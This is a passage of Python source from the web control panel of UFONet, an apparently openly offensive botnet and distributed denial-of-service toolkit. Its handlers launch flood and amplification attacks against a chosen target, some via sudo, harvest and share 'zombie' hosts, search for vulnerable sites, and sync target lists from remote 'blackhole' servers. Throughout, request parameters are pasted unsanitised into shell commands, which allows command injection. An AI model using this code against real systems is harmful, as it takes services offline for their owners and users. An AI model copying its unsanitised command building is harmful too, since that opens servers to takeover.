  4059. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  4060. if page == "/cmd_download_community_update":
  4061. if not os.path.exists('/tmp/out'):
  4062. open('/tmp/out', 'w').close()
  4063. with open('/tmp/out', 'r') as f:
  4064. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  4065. if page == "/cmd_download_botnet_ip":
  4066. blackhole = pGet["blackhole"]
  4067. blackhole=urllib.parse.unquote(blackhole)
  4068. self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
  4069. runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4070. if page == "/cmd_download_botnet_ip_update":
  4071. if not os.path.exists('/tmp/out'):
  4072. open('/tmp/out', 'w').close()
  4073. with open('/tmp/out', 'r') as f:
  4074. self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4075. if page == "/cmd_upload_community":
  4076. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  4077. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  4078. if page == "/cmd_upload_community_update":
  4079. if not os.path.exists('/tmp/out'):
  4080. open('/tmp/out', 'w').close()
  4081. with open('/tmp/out', 'r') as f:
  4082. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  4083. if page == "/cmd_test_army_update":
  4084. if not os.path.exists('/tmp/out'):
  4085. open('/tmp/out', 'w').close()
  4086. with open('/tmp/out', 'r') as f:
  4087. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  4088. if page == "/cmd_test_all_update":
  4089. if not os.path.exists('/tmp/out'):
  4090. open('/tmp/out', 'w').close()
  4091. with open('/tmp/out', 'r') as f:
  4092. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  4093. if page == "/cmd_test_offline_update":
  4094. if not os.path.exists('/tmp/out'):
  4095. open('/tmp/out', 'w').close()
  4096. with open('/tmp/out', 'r') as f:
  4097. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  4098. if page == "/cmd_test_rpcs":
  4099. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  4100. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  4101. if page == "/cmd_test_rpcs_update":
  4102. if not os.path.exists('/tmp/out'):
  4103. open('/tmp/out', 'w').close()
  4104. with open('/tmp/out', 'r') as f:
  4105. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  4106. if page == "/cmd_attack":
  4107. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  4108. cmd = ""
  4109. flag_ufosyn = None
  4110. flag_spray = None
  4111. flag_smurf = None
  4112. flag_xmas = None
  4113. flag_nuke = None
  4114. flag_tachyon = None
  4115. flag_monlist = None
  4116. flag_fraggle = None
  4117. flag_sniper = None
  4118. flag_ufoack = None
  4119. flag_uforst = None
  4120. flag_droper = None
  4121. flag_overlap = None
  4122. flag_pinger = None
  4123. flag_ufoudp = None
  4124. nonroot_cmd = "("+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4125. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4126. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  4127. if pGet["dbstress"]:
  4128. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  4129. if pGet["loic"]:
  4130. cmd += "--loic '" +str(pGet["loic"])+ "' "
  4131. if pGet["loris"]:
  4132. cmd += "--loris '" +str(pGet["loris"])+ "' "
  4133. if pGet["ufosyn"]:
  4134. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  4135. flag_ufosyn = True
  4136. if pGet["spray"]:
  4137. cmd += "--spray '" +str(pGet["spray"])+ "' "
  4138. flag_spray = True
  4139. if pGet["smurf"]:
  4140. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  4141. flag_smurf = True
  4142. if pGet["xmas"]:
  4143. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  4144. flag_xmas = True
  4145. if pGet["nuke"]:
  4146. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  4147. flag_nuke = True
  4148. if pGet["tachyon"]:
  4149. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  4150. flag_tachyon = True
  4151. if pGet["monlist"]:
  4152. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  4153. flag_monlist = True
  4154. if pGet["fraggle"]:
  4155. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  4156. flag_fraggle = True
  4157. if pGet["sniper"]:
  4158. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  4159. flag_sniper = True
  4160. if pGet["ufoack"]:
  4161. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  4162. flag_ufoack = True
  4163. if pGet["uforst"]:
  4164. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  4165. flag_uforst = True
  4166. if pGet["droper"]:
  4167. cmd += "--droper '" +str(pGet["droper"])+ "' "
  4168. flag_droper = True
  4169. if pGet["overlap"]:
  4170. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  4171. flag_overlap = True
  4172. if pGet["pinger"]:
  4173. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  4174. flag_pinger = True
  4175. if pGet["ufoudp"]:
  4176. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  4177. flag_ufoudp = True
  4178. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
  4179. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  4180. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  4181. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  4182. runcmd = cmd + end_cmd
  4183. if page == "/cmd_attack_update":
  4184. if not os.path.exists('/tmp/out'):
  4185. open('/tmp/out', 'w').close()
  4186. with open('/tmp/out', 'r') as f:
  4187. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  4188. if page == "/cmd_inspect":
  4189. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  4190. target = pGet["target"]
  4191. target=urllib.parse.unquote(target)
  4192. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4193. if page == "/cmd_inspect_update":
  4194. if not os.path.exists('/tmp/out'):
  4195. open('/tmp/out', 'w').close()
  4196. with open('/tmp/out', 'r') as f:
  4197. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  4198. if page == "/cmd_abduction":
  4199. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  4200. target = pGet["target"]
  4201. target=urllib.parse.unquote(target)
  4202. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4203. if page == "/cmd_abduction_update":
  4204. if not os.path.exists('/tmp/out'):
  4205. open('/tmp/out', 'w').close()
  4206. with open('/tmp/out', 'r') as f:
  4207. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  4208. if page == "/cmd_search":
  4209. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  4210. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  4211. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  4212. if pGet["exclude_engines"]:
  4213. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4214. else:
  4215. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  4216. else: # search using a search engine
  4217. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4218. else: # search using a pattern
  4219. if pGet["autosearch"] == "on": # search using auto-search mod
  4220. if pGet["exclude_engines"]:
  4221. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4222. else:
  4223. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  4224. else:
  4225. if pGet["all_engines"] == "on": # search using all search engines
  4226. if pGet["exclude_engines"]:
  4227. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4228. else:
  4229. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  4230. else: # search using a search engine
  4231. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4232. if page == "/cmd_search_update":
  4233. if not os.path.exists('/tmp/out'):
  4234. open('/tmp/out', 'w').close()
  4235. with open('/tmp/out', 'r') as f:
  4236. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  4237. if page == "/cmd_refresh_blackholes":
  4238. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4239. blackhole_ip = pGet["blackholes_source"]
  4240. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4241. try:
  4242. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  4243. f = open(self.blackholes, "w") # write updates to nodes.dat
  4244. f.write(blackholes)
  4245. f.close()
  4246. self.blackholes_text = blackholes
  4247. except:
  4248. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4249. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  4250. f = open("/tmp/out", "w")
  4251. f.write(str(blackholes))
  4252. f.write(end_mark)
  4253. f.close()
  4254. if page == "/cmd_refresh_blackholes_update":
  4255. if not os.path.exists('/tmp/out'):
  4256. open('/tmp/out', 'w').close()
  4257. with open('/tmp/out', 'r') as f:
  4258. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  4259. if page == "/cmd_refresh_news":
  4260. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4261. blackhole_ip = pGet["news_source"]
  4262. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4263. try:
  4264. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  4265. f = open(self.news, "w") # write updates to news.txt
  4266. f.write(news)
  4267. f.close()
  4268. self.news_text = news
  4269. except:
  4270. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4271. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  4272. f = open("/tmp/out", "w")
  4273. f.write(str(news))
  4274. f.write(end_mark)
  4275. f.close()
  4276. if page == "/cmd_refresh_news_update":
  4277. if not os.path.exists('/tmp/out'):
  4278. open('/tmp/out', 'w').close()
  4279. with open('/tmp/out', 'r') as f:
  4280. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  4281. if page == "/cmd_refresh_tv":
  4282. self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4283. blackhole_ip = pGet["tv_source"]
  4284. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4285. try:
  4286. tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
  4287. f = open(self.tv, "w") # write updates to tv.txt
  4288. f.write(tv)
  4289. f.close()
  4290. self.tv_text = tv
  4291. except:
  4292. tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4293. end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
  4294. f = open("/tmp/out", "w")
  4295. f.write(str(tv))
  4296. f.write(end_mark)
  4297. f.close()
  4298. if page == "/cmd_refresh_tv_update":
  4299. if not os.path.exists('/tmp/out'):
  4300. open('/tmp/out', 'w').close()
  4301. with open('/tmp/out', 'r') as f:
  4302. self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
  4303. if page == "/cmd_sync_wargames":
  4304. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4305. blackhole_ip = pGet["wargames_source"]
  4306. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4307. try:
  4308. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4309. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4310. f.write(wargames)
  4311. f.close()
  4312. self.wargames_text = wargames
  4313. except:
  4314. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4315. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4316. f = open("/tmp/out", "w")
  4317. f.write(str(wargames))
  4318. f.write(end_mark)
  4319. f.close()
  4320. if page == "/cmd_sync_wargames_update":
  4321. if not os.path.exists('/tmp/out'):
  4322. open('/tmp/out', 'w').close()
  4323. with open('/tmp/out', 'r') as f:
  4324. stream = f.read()
  4325. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4326. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4327. if page == "/cmd_sync_links":
  4328. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4329. blackhole_ip = pGet["link_source"]
  4330. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4331. try:
  4332. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4333. f = open(self.links_file, "w") # write updates to links.txt
  4334. f.write(links)
  4335. f.close()
  4336. self.links_text = links
  4337. except:
  4338. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4339. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4340. f = open("/tmp/out", "w")
  4341. f.write(str(links))
  4342. f.write(end_mark)
  4343. f.close()
  4344. if page == "/cmd_sync_links_update":
  4345. if not os.path.exists('/tmp/out'):
  4346. open('/tmp/out', 'w').close()
  4347. with open('/tmp/out', 'r') as f:
  4348. stream = f.read()
  4349. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4350. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4351. if page == "/cmd_sync_globalnet":
  4352. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4353. blackhole_ip = pGet["globalnet_source"]
  4354. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4355. try:
  4356. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4357. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4358. f.write(globalnet)
  4359. f.close()
  4360. self.globalnet_text = globalnet
  4361. except:
  4362. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4363. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4364. f = open("/tmp/out", "w")
  4365. f.write(str(globalnet))
  4366. f.write(end_mark)
  4367. f.close()
  4368. if page == "/cmd_sync_globalnet_update":
  4369. if not os.path.exists('/tmp/out'):
  4370. open('/tmp/out', 'w').close()
  4371. with open('/tmp/out', 'r') as f:
  4372. stream = f.read()
  4373. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4374. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4375. if page == "/cmd_sync_streams":
  4376. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4377. blackhole_ip = pGet["stream_source"]
  4378. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4379. try:
  4380. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4381. f = open(self.streams_file, "w") # write updates to streams.txt
  4382. f.write(streams)
  4383. f.close()
  4384. self.streams_text = streams
  4385. except:
  4386. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4387. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4388. f = open("/tmp/out", "w")
  4389. f.write(str(streams))
  4390. f.write(end_mark)
  4391. f.close()
  4392. if page == "/cmd_sync_streams_update":
  4393. if not os.path.exists('/tmp/out'):
  4394. open('/tmp/out', 'w').close()
  4395. with open('/tmp/out', 'r') as f:
  4396. stream = f.read()
  4397. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4398. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4399. if page == "/cmd_refresh_missions":
  4400. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4401. blackhole_ip = pGet["missions_source"]
  4402. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4403. try:
  4404. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4405. f = open(self.missions, "w") # write updates to missions.txt
  4406. f.write(missions)
  4407. f.close()
  4408. self.missions_text = missions
  4409. except:
  4410. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4411. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4412. f = open("/tmp/out", "w")
  4413. f.write(str(missions))
  4414. f.write(end_mark)
  4415. f.close()
  4416. if page == "/cmd_refresh_missions_update":
  4417. if not os.path.exists('/tmp/out'):
  4418. open('/tmp/out', 'w').close()
  4419. with open('/tmp/out', 'r') as f:
  4420. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4421. if page == "/cmd_refresh_ranking":
  4422. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4423. ranking_ip = pGet["ranking_source"]
  4424. ranking_ip = urllib.parse.unquote(ranking_ip)
  4425. try:
  4426. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4427. f = open(self.grid_file, "w") # write updates to grid.txt
  4428. f.write(ranking)
  4429. f.close()
  4430. self.ranking_text = ranking
  4431. except:
  4432. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4433. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4434. f = open("/tmp/out", "w")
  4435. f.write(str(ranking))
  4436. f.write(end_mark)
  4437. f.close()
  4438. if page == "/cmd_refresh_ranking_update":
  4439. if not os.path.exists('/tmp/out'):
  4440. open('/tmp/out', 'w').close()
  4441. with open('/tmp/out', 'r') as f:
  4442. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4443. if page == "/cmd_sync_grid":
  4444. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4445. blackhole_ip = pGet["grid_source"]
  4446. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4447. try:
  4448. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4449. f = open(self.grid_file, "w") # write updates to grid.txt
  4450. f.write(grid)
  4451. f.close()
  4452. self.grid_text = grid
  4453. except:
  4454. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4455. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4456. f = open("/tmp/out", "w")
  4457. f.write(str(grid))
  4458. f.write(end_mark)
  4459. f.close()
  4460. if page == "/cmd_sync_grid_update":
  4461. if not os.path.exists('/tmp/out'):
  4462. open('/tmp/out', 'w').close()
  4463. with open('/tmp/out', 'r') as f:
  4464. stream = f.read()
  4465. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4466. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4467. if page == "/cmd_job_remove":
  4468. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4469. try:
  4470. job_id = pGet["id"]
  4471. except:
  4472. job_id = ""
  4473. if job_id != "":
  4474. self.list_wargames.reverse()
  4475. try:
  4476. job_task = self.list_wargames[(int(job_id)-1)]
  4477. f = open(self.wargames_file,"r")
  4478. ls = f.readlines()
  4479. f.close()
  4480. f = open(self.wargames_file,"w")
  4481. for l in ls:
  4482. if str(l) != str(job_task):
  4483. f.write(l)
  4484. f.close()
  4485. except:
  4486. pass
  4487. if page == "/cmd_job_remove_update":
  4488. if not os.path.exists('/tmp/out'):
  4489. open('/tmp/out', 'w').close()
  4490. with open('/tmp/out', 'r') as f:
  4491. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  4492. if page == "/cmd_job_remove_all":
  4493. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  4494. try:
  4495. key_params = pGet["key"]
  4496. sep = ","
  4497. key = key_params.rsplit(sep, 1)[0]
  4498. except:
  4499. key = ""
  4500. if key != "":
  4501. try:
  4502. self.list_wargames.reverse()
  4503. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4504. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4505. f = open(self.wargames_file,"r")
  4506. ls = f.readlines()
  4507. f.close()
  4508. f = open(self.wargames_file,"w")
  4509. sep = wargames_msg_sep
  4510. for l in ls:
  4511. job_estimated = l.rsplit(sep, 1)[1]
  4512. self.decrypt(key, job_estimated)
  4513. if self.decryptedtext:
  4514. job_estimated = self.decryptedtext
  4515. else:
  4516. job_estimated = now
  4517. self.decryptedtext = ""
  4518. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  4519. if (now >= job_estimated) == False: # -ONGOING-
  4520. f.write(l)
  4521. f.close()
  4522. except:
  4523. pass
  4524. if page == "/cmd_job_remove_all_update":
  4525. if not os.path.exists('/tmp/out'):
  4526. open('/tmp/out', 'w').close()
  4527. with open('/tmp/out', 'r') as f:
  4528. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  4529. if page == "/cmd_edit_supply":
  4530. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  4531. try:
  4532. supply_botnet = pGet["botnet"]
  4533. supply_loic = pGet["loic"]
  4534. supply_loris = pGet["loris"]
  4535. supply_ufosyn = pGet["ufosyn"]
  4536. supply_spray = pGet["spray"]
  4537. supply_smurf = pGet["smurf"]
  4538. supply_xmas = pGet["xmas"]
  4539. supply_nuke = pGet["nuke"]
  4540. supply_tachyon = pGet["tachyon"]
  4541. supply_monlist = pGet["monlist"]
  4542. supply_fraggle = pGet["fraggle"]
  4543. supply_sniper = pGet["sniper"]
  4544. supply_ufoack = pGet["ufoack"]
  4545. supply_uforst = pGet["uforst"]
  4546. supply_droper = pGet["droper"]
  4547. supply_overlap = pGet["overlap"]
  4548. supply_pinger = pGet["pinger"]
  4549. supply_ufoudp = pGet["ufoudp"]
  4550. except: # default global supply army
  4551. supply_botnet = 1
  4552. supply_loic = 0
  4553. supply_loris = 0
  4554. supply_ufosyn = 0
  4555. supply_spray = 0
  4556. supply_smurf = 0
  4557. supply_xmas = 0
  4558. supply_nuke = 0
  4559. supply_tachyon = 0
  4560. supply_monlist = 0
  4561. supply_fraggle = 0
  4562. supply_sniper = 0
  4563. supply_ufoack = 0
  4564. supply_uforst = 0
  4565. supply_droper = 0
  4566. supply_overlap = 0
  4567. supply_pinger = 0
  4568. supply_ufoudp = 0
  4569. with open(self.mothership_supplycfg_file, "w") as f:
  4570. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
  4571. if page == "/cmd_job_add":
  4572. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  4573. try:
  4574. job_params = pGet["id"]
  4575. sep = ","
  4576. job_id = job_params.rsplit(sep, 1)[0]
  4577. except:
  4578. job_id = ""
  4579. if job_id != "":
  4580. self.list_wargames.reverse()
  4581. try:
  4582. job_task = self.list_wargames[(int(job_id)-1)]
  4583. f = open(self.wargames_file,"r")
  4584. ls = f.readlines()
  4585. f.close()
  4586. f = open(self.wargames_file,"w")
  4587. sep = wargames_msg_sep
  4588. for l in ls:
  4589. if str(l) != str(job_task):
  4590. f.write(l)
  4591. else:
  4592. job_t2 = job_task.rsplit(sep, 1)[0]
  4593. job_creation = job_t2.rsplit(sep, 1)[0]
  4594. job_target = job_t2.rsplit(sep, 1)[1]
  4595. job_estimated = job_task.rsplit(sep, 1)[1]
  4596. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  4597. f.write(l)
  4598. f.close()
  4599. except:
  4600. pass
  4601. if page == "/cmd_job_add_update":
  4602. if not os.path.exists('/tmp/out'):
  4603. open('/tmp/out', 'w').close()
  4604. with open('/tmp/out', 'r') as f:
  4605. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  4606. if page == "/cmd_job_add_all":
  4607. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  4608. try:
  4609. self.list_wargames.reverse()
  4610. f = open(self.wargames_file,"r")
  4611. ls = f.readlines()
  4612. f.close()
  4613. f = open(self.wargames_file,"w")
  4614. sep = wargames_msg_sep
  4615. for l in ls:
  4616. job_t2 = l.rsplit(sep, 1)[0]
  4617. job_creation = job_t2.rsplit(sep, 1)[0]
  4618. job_target = job_t2.rsplit(sep, 1)[1]
  4619. job_estimated = l.rsplit(sep, 1)[1]
  4620. if not "!!!" in job_target:
  4621. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  4622. else:
  4623. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4624. f.write(l)
  4625. f.close()
  4626. except:
  4627. pass
  4628. if page == "/cmd_job_add_all_update":
  4629. if not os.path.exists('/tmp/out'):
  4630. open('/tmp/out', 'w').close()
  4631. with open('/tmp/out', 'r') as f:
  4632. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  4633. if page == "/cmd_job_cancel":
  4634. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  4635. try:
  4636. job_params = pGet["id"]
  4637. sep = ","
  4638. job_id = job_params.rsplit(sep, 1)[0]
  4639. except:
  4640. job_id = ""
  4641. if job_id != "":
  4642. self.list_wargames.reverse()
  4643. try:
  4644. job_task = self.list_wargames[(int(job_id)-1)]
  4645. f = open(self.wargames_file,"r")
  4646. ls = f.readlines()
  4647. f.close()
  4648. f = open(self.wargames_file,"w")
  4649. for l in ls:
  4650. if str(l) != str(job_task):
  4651. f.write(l)
  4652. else:
  4653. sep = wargames_msg_sep
  4654. job_t2 = job_task.rsplit(sep, 1)[0]
  4655. job_creation = job_t2.rsplit(sep, 1)[0]
  4656. job_target = job_t2.rsplit(sep, 1)[1]
  4657. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4658. job_estimated = job_task.rsplit(sep, 1)[1]
  4659. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4660. f.write(l)
  4661. f.close()
  4662. except:
  4663. pass
  4664. if page == "/cmd_job_cancel_update":
  4665. if not os.path.exists('/tmp/out'):
  4666. open('/tmp/out', 'w').close()
  4667. with open('/tmp/out', 'r') as f:
  4668. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  4669. if page == "/cmd_job_cancel_all":
  4670. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  4671. try:
  4672. self.list_wargames.reverse()
  4673. f = open(self.wargames_file,"r")
  4674. ls = f.readlines()
  4675. f.close()
  4676. f = open(self.wargames_file,"w")
  4677. sep = wargames_msg_sep
  4678. for l in ls:
  4679. job_t2 = l.rsplit(sep, 1)[0]
  4680. job_creation = job_t2.rsplit(sep, 1)[0]
  4681. job_target = job_t2.rsplit(sep, 1)[1]
  4682. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4683. job_estimated = l.rsplit(sep, 1)[1]
